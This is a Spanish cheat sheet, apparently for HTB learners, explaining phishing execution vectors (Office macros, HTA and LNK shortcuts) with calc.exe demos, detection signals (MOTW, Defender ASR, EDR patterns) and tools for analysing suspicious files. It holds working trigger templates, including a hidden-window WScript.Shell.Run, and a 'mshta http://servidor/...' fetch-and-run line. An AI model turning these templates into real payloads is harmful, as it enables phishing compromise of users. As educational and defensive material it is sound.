Phishing explicado: macros, HTA y LNK

Esta chuleta explica los vectores de ejecución del lado del cliente para que reconozcas un documento malicioso y entiendas las máquinas de HTB que los usan. Los ejemplos lanzan la calculadora (inofensiva) a propósito; verás por qué casi ninguno funciona ya fuera de un laboratorio.

Macros de Office

El vector clásico: una macro VBA que se ejecuta al abrir el documento. Es la base de varias máquinas de HTB con tema de phishing interno.

Practícalo en: ReelReel2MailingOutdatedOfficeRE

Cómo se dispara

Los eventos automáticos Teclas
' AutoOpen (Word) y Workbook_Open (Excel) se ejecutan al abrir el fichero
' SI el usuario habilita las macros. Document_Open hace lo mismo desde el módulo del documento.
Sub AutoOpen()
    MsgBox "Esto se ejecuta al abrir el documento"
End Sub
Qué método lanza un proceso (demostración con calc) Teclas
' Shell y WScript.Shell.Run son las dos formas habituales; aquí abren la calculadora.
Sub Demo()
    CreateObject("WScript.Shell").Run "calc.exe", 0, False
End Sub

El 0 pide ventana oculta. En un ataque real aquí iría el comando; en esta chuleta es calc a propósito.

Por qué casi no funciona ya

Mark-of-the-Web Teclas
# Desde 2022 Office bloquea las macros de cualquier fichero descargado de Internet o recibido por correo (llevan la marca MOTW). El usuario ya ni ve el botón de "Habilitar".
Reglas ASR de Defender Teclas
# "Block all Office applications from creating child processes" impide que WINWORD.EXE lance cmd/powershell, que es justo lo que hace la macro.

Cómo analizar una que recibas

Lo útil hoy: saber mirar dentro de un documento sospechoso sin abrirlo.

Extraer y leer las macros con oletools Atacante
olevba documento.docm
Ver la estructura OLE Atacante
oleid documento.doc; oledump.py documento.doc

HTA

Un .hta es una página HTML que mshta.exe ejecuta fuera del navegador, con acceso a objetos COM. Se abre desde un enlace o un adjunto.

Practícalo en: REReel

Cómo se dispara

La estructura mínima (demostración con calc) Teclas
<html><head><script language="VBScript">
  CreateObject("WScript.Shell").Run "calc.exe", 0, False
  self.close
</script></head><body></body></html>

Guardado como .hta y abierto, mshta.exe ejecuta el script.

Cómo la víctima acabaría ejecutándolo Víctima
mshta http://servidor/documento.hta

Qué lo detecta

El patrón que marca cualquier EDR Teclas
# mshta.exe conectándose a una URL y creando cmd.exe o powershell.exe es un indicador de libro. Muchas empresas bloquean mshta.exe entero con AppLocker/WDAC.

Accesos directos (.lnk)

Un acceso directo guarda un ejecutable y sus argumentos. Con un icono de documento engaña a la vista; por eso conviene fijarse siempre en la extensión real.

Practícalo en: MailingOutdated

Cómo se dispara

Qué guarda por dentro (demostración con calc) Teclas
# TargetPath + Arguments. Al hacer doble clic, Windows ejecuta eso.
# Target:    C:\Windows\System32\cmd.exe
# Arguments: /c calc.exe
Inspeccionar uno que recibas, sin abrirlo Atacante
(New-Object -ComObject WScript.Shell).CreateShortcut('.\sospechoso.lnk') | Format-List TargetPath, Arguments, IconLocation
Desde Linux con pylnk3 Atacante
pip install pylnk3 && pylnk3 p sospechoso.lnk

Qué lo detecta

Mark-of-the-Web y SmartScreen Teclas
# Windows marca los .lnk descargados; SmartScreen avisa, y un .lnk cuyo destino es cmd o powershell es sospechoso por sí solo. La pista para el defensor: Explorer como proceso padre de cmd.